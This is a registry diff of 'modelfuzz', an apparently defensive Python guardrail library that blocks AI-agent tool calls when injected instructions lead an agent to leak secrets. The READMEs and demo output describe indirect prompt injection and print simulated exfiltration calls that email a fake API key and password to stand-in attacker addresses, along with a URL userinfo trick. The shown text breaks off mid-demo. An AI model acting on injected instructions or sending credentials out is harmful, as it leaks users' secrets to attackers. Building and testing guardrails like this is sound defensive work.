modelfuzz 0.1.0__tar.gz → 0.1.3__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- modelfuzz-0.1.3/.claude/settings.local.json +33 -0
- modelfuzz-0.1.3/CONTRIBUTING.md +46 -0
- modelfuzz-0.1.3/PKG-INFO +92 -0
- modelfuzz-0.1.3/README.md +67 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/pyproject.toml +1 -1
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/src/modelfuzz/__init__.py +3 -1
- modelfuzz-0.1.3/src/modelfuzz/decorator.py +64 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/uv.lock +1 -1
- modelfuzz-0.1.0/.claude/settings.local.json +0 -12
- modelfuzz-0.1.0/PKG-INFO +0 -146
- modelfuzz-0.1.0/README.md +0 -121
- modelfuzz-0.1.0/src/modelfuzz/decorator.py +0 -45
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/.github/workflows/ci.yml +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/.gitignore +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/.pre-commit-config.yaml +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/LICENSE +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/demo.py +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/src/modelfuzz/cli.py +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/src/modelfuzz/engine.py +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/src/modelfuzz/exceptions.py +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/src/modelfuzz/rules.py +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/tests/test_decorator.py +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/tests/test_engine.py +0 -0
- {modelfuzz-0.1.0 → modelfuzz-0.1.3}/tests/test_rules.py +0 -0
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
{
|
|
2
|
+
"permissions": {
|
|
3
|
+
"allow": [
|
|
4
|
+
"Bash(git -C /Users/gagandeep/agentshield status --short --branch)",
|
|
5
|
+
"Bash(uv --version)",
|
|
6
|
+
"Bash(uv sync *)",
|
|
7
|
+
"Bash(uv run python -c ' *)",
|
|
8
|
+
"Bash(uv run *)",
|
|
9
|
+
"Bash(git add *)",
|
|
10
|
+
"Bash(python3 -c \"import modelfuzz; print\\(modelfuzz.__file__\\)\")",
|
|
11
|
+
"Bash(pip show *)",
|
|
12
|
+
"Bash(python3 test_agent.py)",
|
|
13
|
+
"Bash(python3 -c \"import sys; print\\(sys.path\\)\")",
|
|
14
|
+
"Bash(pip list *)",
|
|
15
|
+
"Bash(python3 -c \"import sys,site; print\\(site.getsitepackages\\(\\)\\)\")",
|
|
16
|
+
"Bash(find / -maxdepth 6 -iname \"modelfuzz*\" -not -path \"*/modelfuzz/*\")",
|
|
17
|
+
"Bash(./.venv/bin/pip show *)",
|
|
18
|
+
"Bash(./.venv/bin/python3 test_agent.py)",
|
|
19
|
+
"Bash(python3 -c ' *)",
|
|
20
|
+
"Bash(python3 -m pytest -q)",
|
|
21
|
+
"Bash(./.venv/bin/pip install *)",
|
|
22
|
+
"Bash(./.venv/bin/python test_agent.py)",
|
|
23
|
+
"Bash(python3 -m pip show build twine)",
|
|
24
|
+
"Bash(env)",
|
|
25
|
+
"Bash(curl -s https://pypi.org/pypi/modelfuzz/json)",
|
|
26
|
+
"Bash(python3 -c \"import json,sys; d=json.load\\(sys.stdin\\); print\\('version:', d['info']['version']\\); print\\('releases:', list\\(d['releases'].keys\\(\\)\\)\\)\")",
|
|
27
|
+
"Bash(git remote *)",
|
|
28
|
+
"Bash(./.venv/bin/python -c \"from modelfuzz import shield_tool, ModelFuzzBlockError; print\\('import OK'\\)\")",
|
|
29
|
+
"Bash(curl -s \"https://img.shields.io/github/actions/workflow/status/higagan/modelfuzz/ci.yml?branch=main&label=CI\")",
|
|
30
|
+
"Bash(python3 -c \"import json,sys; d=json.load\\(sys.stdin\\)['info']; print\\('PyPI version:', d['version']\\); print\\('summary:', d['summary']\\); print\\('homepage/urls:', d['project_urls']\\); print\\('readme starts:', \\(d['description'] or ''\\)[:200]\\)\")"
|
|
31
|
+
]
|
|
32
|
+
}
|
|
33
|
+
}
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
# Contributing to ModelFuzz
|
|
2
|
+
|
|
3
|
+
Thanks for your interest in contributing. This document covers how to set up a development environment, run tests, and submit changes.
|
|
4
|
+
|
|
5
|
+
## Development Setup
|
|
6
|
+
|
|
7
|
+
ModelFuzz uses [uv](https://github.com/astral-sh/uv) for dependency management.
|
|
8
|
+
|
|
9
|
+
```bash
|
|
10
|
+
git clone https://github.com/higagan/modelfuzz.git
|
|
11
|
+
cd modelfuzz
|
|
12
|
+
uv sync
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
This installs the package and its dependencies, including dev tools (`pytest`, `ruff`), into a local virtual environment.
|
|
16
|
+
|
|
17
|
+
## Running Tests
|
|
18
|
+
|
|
19
|
+
```bash
|
|
20
|
+
uv run pytest
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
Tests live under [tests/](tests/) and are organized by module (`test_decorator.py`, `test_engine.py`, `test_rules.py`). Add tests alongside the code they cover, and make sure new policies or behaviors are exercised by at least one test.
|
|
24
|
+
|
|
25
|
+
## Linting
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
uv run ruff check .
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
CI runs lint and tests against Python 3.10, 3.11, and 3.12 on every push and pull request (see [.github/workflows/ci.yml](.github/workflows/ci.yml)). Please make sure both pass locally before opening a PR.
|
|
32
|
+
|
|
33
|
+
## Submitting Changes
|
|
34
|
+
|
|
35
|
+
1. Fork the repository and create a branch from `main`.
|
|
36
|
+
2. Make your changes, with tests covering new behavior.
|
|
37
|
+
3. Run `uv run ruff check .` and `uv run pytest` locally.
|
|
38
|
+
4. Open a pull request describing the change and its motivation.
|
|
39
|
+
|
|
40
|
+
## Reporting Issues
|
|
41
|
+
|
|
42
|
+
Use [GitHub Issues](https://github.com/higagan/modelfuzz/issues) to report bugs or propose features. Include a minimal reproduction where possible.
|
|
43
|
+
|
|
44
|
+
## License
|
|
45
|
+
|
|
46
|
+
By contributing, you agree that your contributions will be licensed under the project's [MIT License](LICENSE).
|
modelfuzz-0.1.3/PKG-INFO
ADDED
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: modelfuzz
|
|
3
|
+
Version: 0.1.3
|
|
4
|
+
Summary: Runtime guardrails for AI agents.
|
|
5
|
+
Project-URL: Homepage, https://github.com/higagan/modelfuzz
|
|
6
|
+
Project-URL: Repository, https://github.com/higagan/modelfuzz
|
|
7
|
+
Project-URL: Issues, https://github.com/higagan/modelfuzz/issues
|
|
8
|
+
Author-email: Gagan Deep <gagan.ping@gmail.com>
|
|
9
|
+
License: MIT
|
|
10
|
+
License-File: LICENSE
|
|
11
|
+
Keywords: ai-agents,guardrails,llm,prompt-injection,security
|
|
12
|
+
Classifier: Development Status :: 3 - Alpha
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
15
|
+
Classifier: Operating System :: OS Independent
|
|
16
|
+
Classifier: Programming Language :: Python :: 3
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
+
Classifier: Topic :: Security
|
|
21
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
22
|
+
Requires-Python: >=3.10
|
|
23
|
+
Requires-Dist: typer>=0.12
|
|
24
|
+
Description-Content-Type: text/markdown
|
|
25
|
+
|
|
26
|
+
# ModelFuzz
|
|
27
|
+
|
|
28
|
+
[](https://github.com/higagan/modelfuzz/actions)
|
|
29
|
+
[](https://opensource.org/licenses/MIT)
|
|
30
|
+
[](https://www.python.org/downloads/)
|
|
31
|
+
[](https://github.com/astral-sh/ruff)
|
|
32
|
+
|
|
33
|
+
**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## The Problem
|
|
38
|
+
|
|
39
|
+
LLM agents can be manipulated through indirect prompt injection — a malicious instruction hidden in an email, webpage, or document — into calling their own tools in unsafe ways. The result: exfiltrated secrets, arbitrary shell execution, or requests to attacker-controlled URLs, all issued by an agent that believes it's just helping the user.
|
|
40
|
+
|
|
41
|
+
## The Solution
|
|
42
|
+
|
|
43
|
+
ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. It doesn't matter how the model got tricked; if the call violates policy, it never executes.
|
|
44
|
+
|
|
45
|
+
## Quickstart
|
|
46
|
+
|
|
47
|
+
```python
|
|
48
|
+
from modelfuzz import shield_tool
|
|
49
|
+
|
|
50
|
+
@shield_tool
|
|
51
|
+
def send_email(to_address: str, subject: str, body: str) -> None:
|
|
52
|
+
smtp.send(to_address, subject, body)
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
Works bare (`@shield_tool`) or called (`@shield_tool()`) — both wrap `send_email` identically. Any argument that trips a policy raises `ModelFuzzBlockError` before the function body runs.
|
|
56
|
+
|
|
57
|
+
## The Demo
|
|
58
|
+
|
|
59
|
+
**What it looks like:** an agent gets prompt-injected into calling `send_email` with a stolen API key. ModelFuzz catches it before the email goes out.
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
--- SIMULATING TRICKED LLM ---
|
|
63
|
+
[🤖 LLM DECISION] The model was tricked by prompt injection!
|
|
64
|
+
[🤖 LLM ARGUMENTS] {"to_address": "attacker@evil.com", "subject": "Stolen Data", "body": "The user's secret API_KEY is sk-12345"}
|
|
65
|
+
|
|
66
|
+
[🛡️ MODEL FUZZ] Intercepting tool execution...
|
|
67
|
+
|
|
68
|
+
✅ MODEL FUZZ BLOCKED THE ATTACK!
|
|
69
|
+
Reason: String contains sensitive keyword: 'secret'
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
## How It Works
|
|
73
|
+
|
|
74
|
+
- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
|
|
75
|
+
- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
|
|
76
|
+
- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
|
|
77
|
+
|
|
78
|
+
## Installation
|
|
79
|
+
|
|
80
|
+
```bash
|
|
81
|
+
pip install modelfuzz
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
Or with [uv](https://github.com/astral-sh/uv):
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
uv add modelfuzz
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
## Contributing
|
|
91
|
+
|
|
92
|
+
Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
# ModelFuzz
|
|
2
|
+
|
|
3
|
+
[](https://github.com/higagan/modelfuzz/actions)
|
|
4
|
+
[](https://opensource.org/licenses/MIT)
|
|
5
|
+
[](https://www.python.org/downloads/)
|
|
6
|
+
[](https://github.com/astral-sh/ruff)
|
|
7
|
+
|
|
8
|
+
**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## The Problem
|
|
13
|
+
|
|
14
|
+
LLM agents can be manipulated through indirect prompt injection — a malicious instruction hidden in an email, webpage, or document — into calling their own tools in unsafe ways. The result: exfiltrated secrets, arbitrary shell execution, or requests to attacker-controlled URLs, all issued by an agent that believes it's just helping the user.
|
|
15
|
+
|
|
16
|
+
## The Solution
|
|
17
|
+
|
|
18
|
+
ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. It doesn't matter how the model got tricked; if the call violates policy, it never executes.
|
|
19
|
+
|
|
20
|
+
## Quickstart
|
|
21
|
+
|
|
22
|
+
```python
|
|
23
|
+
from modelfuzz import shield_tool
|
|
24
|
+
|
|
25
|
+
@shield_tool
|
|
26
|
+
def send_email(to_address: str, subject: str, body: str) -> None:
|
|
27
|
+
smtp.send(to_address, subject, body)
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
Works bare (`@shield_tool`) or called (`@shield_tool()`) — both wrap `send_email` identically. Any argument that trips a policy raises `ModelFuzzBlockError` before the function body runs.
|
|
31
|
+
|
|
32
|
+
## The Demo
|
|
33
|
+
|
|
34
|
+
**What it looks like:** an agent gets prompt-injected into calling `send_email` with a stolen API key. ModelFuzz catches it before the email goes out.
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
--- SIMULATING TRICKED LLM ---
|
|
38
|
+
[🤖 LLM DECISION] The model was tricked by prompt injection!
|
|
39
|
+
[🤖 LLM ARGUMENTS] {"to_address": "attacker@evil.com", "subject": "Stolen Data", "body": "The user's secret API_KEY is sk-12345"}
|
|
40
|
+
|
|
41
|
+
[🛡️ MODEL FUZZ] Intercepting tool execution...
|
|
42
|
+
|
|
43
|
+
✅ MODEL FUZZ BLOCKED THE ATTACK!
|
|
44
|
+
Reason: String contains sensitive keyword: 'secret'
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
## How It Works
|
|
48
|
+
|
|
49
|
+
- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
|
|
50
|
+
- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
|
|
51
|
+
- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
|
|
52
|
+
|
|
53
|
+
## Installation
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
pip install modelfuzz
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
Or with [uv](https://github.com/astral-sh/uv):
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
uv add modelfuzz
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
## Contributing
|
|
66
|
+
|
|
67
|
+
Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
|
|
@@ -1,5 +1,7 @@
|
|
|
1
1
|
"""ModelFuzz: a lightweight shield for intercepting agent tool calls."""
|
|
2
2
|
|
|
3
|
+
from importlib.metadata import version as _version
|
|
4
|
+
|
|
3
5
|
from modelfuzz.decorator import shield_tool
|
|
4
6
|
from modelfuzz.engine import PolicyEngine, PolicyResult
|
|
5
7
|
from modelfuzz.exceptions import ModelFuzzBlockError
|
|
@@ -14,4 +16,4 @@ __all__ = [
|
|
|
14
16
|
"PolicyEngine",
|
|
15
17
|
"PolicyResult",
|
|
16
18
|
]
|
|
17
|
-
__version__ = "
|
|
19
|
+
__version__ = _version("modelfuzz")
|
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
"""Decorators for shielding agent tool functions."""
|
|
2
|
+
|
|
3
|
+
import functools
|
|
4
|
+
from collections.abc import Callable
|
|
5
|
+
from typing import ParamSpec, TypeVar, overload
|
|
6
|
+
|
|
7
|
+
from modelfuzz.engine import PolicyEngine
|
|
8
|
+
from modelfuzz.exceptions import ModelFuzzBlockError
|
|
9
|
+
from modelfuzz.rules import SensitiveDataFilter
|
|
10
|
+
|
|
11
|
+
P = ParamSpec("P")
|
|
12
|
+
R = TypeVar("R")
|
|
13
|
+
|
|
14
|
+
# Default policy engine for the decorator
|
|
15
|
+
default_policies = [SensitiveDataFilter()]
|
|
16
|
+
_default_engine = PolicyEngine(default_policies)
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
@overload
|
|
20
|
+
def shield_tool(engine: Callable[P, R]) -> Callable[P, R]: ...
|
|
21
|
+
@overload
|
|
22
|
+
def shield_tool(
|
|
23
|
+
engine: PolicyEngine | None = None,
|
|
24
|
+
) -> Callable[[Callable[P, R]], Callable[P, R]]: ...
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
def shield_tool(engine=None):
|
|
28
|
+
"""Wrap a tool function so every call is intercepted before execution.
|
|
29
|
+
|
|
30
|
+
Usable bare (``@shield_tool``) or called (``@shield_tool()`` /
|
|
31
|
+
``@shield_tool(engine)``).
|
|
32
|
+
|
|
33
|
+
Args:
|
|
34
|
+
engine: The policy engine to use for validation. If None, a default
|
|
35
|
+
engine with a SensitiveDataFilter is used. When applied bare,
|
|
36
|
+
this receives the function being decorated instead.
|
|
37
|
+
|
|
38
|
+
Returns:
|
|
39
|
+
The wrapped function, or a decorator that produces it.
|
|
40
|
+
"""
|
|
41
|
+
if callable(engine) and not isinstance(engine, PolicyEngine):
|
|
42
|
+
return _wrap(engine, _default_engine)
|
|
43
|
+
|
|
44
|
+
actual_engine = engine if engine is not None else _default_engine
|
|
45
|
+
|
|
46
|
+
def decorator(func: Callable[P, R]) -> Callable[P, R]:
|
|
47
|
+
return _wrap(func, actual_engine)
|
|
48
|
+
|
|
49
|
+
return decorator
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
def _wrap(func: Callable[P, R], actual_engine: PolicyEngine) -> Callable[P, R]:
|
|
53
|
+
@functools.wraps(func)
|
|
54
|
+
def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
|
|
55
|
+
# Check all arguments against the policy engine
|
|
56
|
+
for arg in list(args) + list(kwargs.values()):
|
|
57
|
+
result = actual_engine.run(arg)
|
|
58
|
+
if not result.allowed:
|
|
59
|
+
raise ModelFuzzBlockError(result.reason or "Call blocked by policy")
|
|
60
|
+
|
|
61
|
+
print(f"ModelFuzz Intercepted: {func.__name__}")
|
|
62
|
+
return func(*args, **kwargs)
|
|
63
|
+
|
|
64
|
+
return wrapper
|
modelfuzz-0.1.0/PKG-INFO
DELETED
|
@@ -1,146 +0,0 @@
|
|
|
1
|
-
Metadata-Version: 2.4
|
|
2
|
-
Name: modelfuzz
|
|
3
|
-
Version: 0.1.0
|
|
4
|
-
Summary: Runtime guardrails for AI agents.
|
|
5
|
-
Project-URL: Homepage, https://github.com/higagan/modelfuzz
|
|
6
|
-
Project-URL: Repository, https://github.com/higagan/modelfuzz
|
|
7
|
-
Project-URL: Issues, https://github.com/higagan/modelfuzz/issues
|
|
8
|
-
Author-email: Gagan Deep <gagan.ping@gmail.com>
|
|
9
|
-
License: MIT
|
|
10
|
-
License-File: LICENSE
|
|
11
|
-
Keywords: ai-agents,guardrails,llm,prompt-injection,security
|
|
12
|
-
Classifier: Development Status :: 3 - Alpha
|
|
13
|
-
Classifier: Intended Audience :: Developers
|
|
14
|
-
Classifier: License :: OSI Approved :: MIT License
|
|
15
|
-
Classifier: Operating System :: OS Independent
|
|
16
|
-
Classifier: Programming Language :: Python :: 3
|
|
17
|
-
Classifier: Programming Language :: Python :: 3.10
|
|
18
|
-
Classifier: Programming Language :: Python :: 3.11
|
|
19
|
-
Classifier: Programming Language :: Python :: 3.12
|
|
20
|
-
Classifier: Topic :: Security
|
|
21
|
-
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
22
|
-
Requires-Python: >=3.10
|
|
23
|
-
Requires-Dist: typer>=0.12
|
|
24
|
-
Description-Content-Type: text/markdown
|
|
25
|
-
|
|
26
|
-
# ModelFuzz
|
|
27
|
-
|
|
28
|
-
[](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
|
|
29
|
-
[](https://opensource.org/licenses/MIT)
|
|
30
|
-
[](https://www.python.org/downloads/)
|
|
31
|
-
[](https://github.com/astral-sh/ruff)
|
|
32
|
-
|
|
33
|
-
**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
|
|
34
|
-
|
|
35
|
-
---
|
|
36
|
-
|
|
37
|
-
## The Problem
|
|
38
|
-
|
|
39
|
-
LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
|
|
40
|
-
|
|
41
|
-
## The Solution
|
|
42
|
-
|
|
43
|
-
ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
|
|
44
|
-
|
|
45
|
-
## Quickstart
|
|
46
|
-
|
|
47
|
-
```python
|
|
48
|
-
from modelfuzz import shield_tool
|
|
49
|
-
|
|
50
|
-
@shield_tool()
|
|
51
|
-
def send_email(to_address: str, subject: str, body: str) -> None:
|
|
52
|
-
smtp.send(to_address, subject, body)
|
|
53
|
-
```
|
|
54
|
-
|
|
55
|
-
That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
|
|
56
|
-
|
|
57
|
-
Need custom policies? Build your own engine:
|
|
58
|
-
|
|
59
|
-
```python
|
|
60
|
-
from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
|
|
61
|
-
|
|
62
|
-
engine = PolicyEngine([
|
|
63
|
-
SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
|
|
64
|
-
URLAllowList(allowed_domains=["api.mycompany.com"]),
|
|
65
|
-
])
|
|
66
|
-
|
|
67
|
-
@shield_tool(engine=engine)
|
|
68
|
-
def fetch_url(url: str) -> str:
|
|
69
|
-
...
|
|
70
|
-
```
|
|
71
|
-
|
|
72
|
-
## The Demo
|
|
73
|
-
|
|
74
|
-
**What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
|
|
75
|
-
|
|
76
|
-
Run it yourself with `uv run python demo.py`:
|
|
77
|
-
|
|
78
|
-
```text
|
|
79
|
-
============================================================
|
|
80
|
-
MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
|
|
81
|
-
============================================================
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
============================================================
|
|
85
|
-
PART 1: THE BREACH (UNGUARDED)
|
|
86
|
-
============================================================
|
|
87
|
-
|
|
88
|
-
[!] UNGUARDED AGENT: Executing tool with malicious payload...
|
|
89
|
-
[>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
|
|
90
|
-
|
|
91
|
-
[!] Simulating email send...
|
|
92
|
-
To: attacker@evil.com
|
|
93
|
-
Subject: Stolen Data
|
|
94
|
-
Body: The user's API_KEY is sk-12345...
|
|
95
|
-
|
|
96
|
-
============================================================
|
|
97
|
-
🚨 BREACH
|
|
98
|
-
============================================================
|
|
99
|
-
Data exfiltrated to attacker@evil.com
|
|
100
|
-
============================================================
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
============================================================
|
|
104
|
-
PART 2: THE SHIELD (MODELFUZZ ACTIVE)
|
|
105
|
-
============================================================
|
|
106
|
-
|
|
107
|
-
[+] GUARDED AGENT: Executing tool with malicious payload...
|
|
108
|
-
[>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
|
|
109
|
-
|
|
110
|
-
[+] ModelFuzz is intercepting the call...
|
|
111
|
-
|
|
112
|
-
[✓] ModelFuzz caught a violation:
|
|
113
|
-
Reason: String contains sensitive keyword: 'secret'
|
|
114
|
-
|
|
115
|
-
============================================================
|
|
116
|
-
🛡️ MODELFUZZ BLOCKED
|
|
117
|
-
============================================================
|
|
118
|
-
Sensitive data exfiltration stopped.
|
|
119
|
-
============================================================
|
|
120
|
-
```
|
|
121
|
-
|
|
122
|
-
## How It Works
|
|
123
|
-
|
|
124
|
-
- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
|
|
125
|
-
- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
|
|
126
|
-
- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
|
|
127
|
-
|
|
128
|
-
## Installation
|
|
129
|
-
|
|
130
|
-
```bash
|
|
131
|
-
pip install modelfuzz
|
|
132
|
-
```
|
|
133
|
-
|
|
134
|
-
Or with [uv](https://github.com/astral-sh/uv):
|
|
135
|
-
|
|
136
|
-
```bash
|
|
137
|
-
uv add modelfuzz
|
|
138
|
-
```
|
|
139
|
-
|
|
140
|
-
## Contributing
|
|
141
|
-
|
|
142
|
-
Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
|
|
143
|
-
|
|
144
|
-
## License
|
|
145
|
-
|
|
146
|
-
MIT — see [LICENSE](LICENSE) for details.
|
modelfuzz-0.1.0/README.md
DELETED
|
@@ -1,121 +0,0 @@
|
|
|
1
|
-
# ModelFuzz
|
|
2
|
-
|
|
3
|
-
[](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
|
|
4
|
-
[](https://opensource.org/licenses/MIT)
|
|
5
|
-
[](https://www.python.org/downloads/)
|
|
6
|
-
[](https://github.com/astral-sh/ruff)
|
|
7
|
-
|
|
8
|
-
**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
|
|
9
|
-
|
|
10
|
-
---
|
|
11
|
-
|
|
12
|
-
## The Problem
|
|
13
|
-
|
|
14
|
-
LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
|
|
15
|
-
|
|
16
|
-
## The Solution
|
|
17
|
-
|
|
18
|
-
ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
|
|
19
|
-
|
|
20
|
-
## Quickstart
|
|
21
|
-
|
|
22
|
-
```python
|
|
23
|
-
from modelfuzz import shield_tool
|
|
24
|
-
|
|
25
|
-
@shield_tool()
|
|
26
|
-
def send_email(to_address: str, subject: str, body: str) -> None:
|
|
27
|
-
smtp.send(to_address, subject, body)
|
|
28
|
-
```
|
|
29
|
-
|
|
30
|
-
That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
|
|
31
|
-
|
|
32
|
-
Need custom policies? Build your own engine:
|
|
33
|
-
|
|
34
|
-
```python
|
|
35
|
-
from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
|
|
36
|
-
|
|
37
|
-
engine = PolicyEngine([
|
|
38
|
-
SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
|
|
39
|
-
URLAllowList(allowed_domains=["api.mycompany.com"]),
|
|
40
|
-
])
|
|
41
|
-
|
|
42
|
-
@shield_tool(engine=engine)
|
|
43
|
-
def fetch_url(url: str) -> str:
|
|
44
|
-
...
|
|
45
|
-
```
|
|
46
|
-
|
|
47
|
-
## The Demo
|
|
48
|
-
|
|
49
|
-
**What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
|
|
50
|
-
|
|
51
|
-
Run it yourself with `uv run python demo.py`:
|
|
52
|
-
|
|
53
|
-
```text
|
|
54
|
-
============================================================
|
|
55
|
-
MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
|
|
56
|
-
============================================================
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
============================================================
|
|
60
|
-
PART 1: THE BREACH (UNGUARDED)
|
|
61
|
-
============================================================
|
|
62
|
-
|
|
63
|
-
[!] UNGUARDED AGENT: Executing tool with malicious payload...
|
|
64
|
-
[>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
|
|
65
|
-
|
|
66
|
-
[!] Simulating email send...
|
|
67
|
-
To: attacker@evil.com
|
|
68
|
-
Subject: Stolen Data
|
|
69
|
-
Body: The user's API_KEY is sk-12345...
|
|
70
|
-
|
|
71
|
-
============================================================
|
|
72
|
-
🚨 BREACH
|
|
73
|
-
============================================================
|
|
74
|
-
Data exfiltrated to attacker@evil.com
|
|
75
|
-
============================================================
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
============================================================
|
|
79
|
-
PART 2: THE SHIELD (MODELFUZZ ACTIVE)
|
|
80
|
-
